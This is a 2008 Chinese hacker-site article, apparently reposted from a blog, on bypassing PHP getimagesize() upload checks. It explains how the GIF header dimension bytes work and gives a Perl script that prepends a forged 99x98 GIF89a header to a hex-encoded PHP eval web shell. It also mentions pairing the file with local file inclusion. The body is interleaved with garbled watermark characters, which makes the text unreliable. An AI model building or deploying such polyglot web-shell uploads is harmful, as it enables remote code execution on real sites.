上一篇 | 下一篇

Bypass getimagesize()函数缺陷

发布: 2008-9-05 14:42 | 作者: 芝麻黑客 | 来源: ZmHacker.Com | 查看: 2次

芝麻黑客0@2C'j4E tY/`q

Bypass getimagesize()函数缺陷
H.Bs&\4{转自:cooldiyer's blog

+kq ]fO#@4`k;F"}芝麻黑客$mtf e ]


#x/_ v|}很多php代码都用getimagesize()来判断你上传文件是不是图片,很多人在黑盒测试都会使用在php代码前加个GIF89a来绕过这样的代码:芝麻黑客 m0jPb3tM[

芝麻黑客)Cw[?x9d2KT

if(getimagesize($file)){
#Iy P9hd W M~`KSprint yes;芝麻黑客0q N1c2Dxr
}else{
DrH4}5`\+S]Z0eprint no;芝麻黑客 B V:`1ZhEpf?t
}芝麻黑客%f1X{-T$O&w,]I&|ii

芝麻黑客_ c Q#Oo{|

 芝麻黑客6{8rHq o!N7n6v

)\/lev#a6\ w-HcK但是有很多的情况还有其他的限制,比如分辨率n x n 如以下代码:芝麻黑客3`|Q!Zn

芝麻黑客&Lhzy b

if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {芝麻黑客0yU*b/?]'Ep
if ($size['0'] > 100 || $size['1'] > 100) {芝麻黑客 {)z j)M;m:_6M:~(|l
unlink(IMAGES."avatars/".$avatarname);
:j#\[y#g*IY$set_avatar = "";芝麻黑客Uw3hoj{lrhvH&R

芝麻黑客&dR#V#\L+UsPD3E

 

4E)['lM!t4i芝麻黑客k4~9VQ UP wM

先看看gif文件头:

p$b8WL:eTY8U'D

&idj$H&]o
7b k+@$w CFf00000000h: 47 49 46 38 39 61 AB 02 E5 03 B3 00 00 00 80 00 ; GIF89a???..?.芝麻黑客)S$Z0C#Ll
G I F 8 9 a $size['0'] $size['1']芝麻黑客? O yd4S7h
$size['0']x$size['1'] = [AB 02]683 x [E5 03]997芝麻黑客/KRe;B2O l_ig

芝麻黑客:]h;EVuEkO%\6EBx

 芝麻黑客&T L/u'vW1ci7UXjn

芝麻黑客5BGj v(u8s

perl代码:芝麻黑客.{!W`A*?

芝麻黑客I9no)t F:k|L

芝麻黑客K7U5]1i U7Y$w
#!/usr/bin/perl
+W#ZNm^f4g#The Script could pass getimagesize()芝麻黑客w @ZvM3I

芝麻黑客:I!p-mO u7?

#gif size: 99x98 pixels
!A2h6bEv*H$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a
%K7{ |/Gi-GX5W&iL"\x63\x00".#99
,}a2~HyL ??"\x62\x00";#98芝麻黑客:Hvx T'v"|2i,K6o8m

芝麻黑客z QK sp&`Un S `

$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#<?php @eval

&t$Fe(}c芝麻黑客E~$s0[,T"K/`X+WR ]

($_POST[c])?>芝麻黑客^@3~Nx[

[l!p5zG^JXprint $gifhead.$phpcode;

8U;kk;Y/R0}*no芝麻黑客QSm3A[7P:L,qG

 

1?5Su5Exi}R\芝麻黑客%O)z7j g zEy8yyp$R


\8M3P-jAD应该说getimagesize只是一部分检测 这样要和其他漏洞配合,比如本地包含 一般上穿严格限制了文类型 还用getimagesize判断是不是图片 。芝麻黑客P F'w&j+w!e^
比如:http://www.4ngel.net/article/57.htm芝麻黑客#}5P6Yq'\'Nk

TAG: Bypass 缺陷 getimagesize 函数

字号: | 推荐给好友

 

评分:0

我来说两句

seccode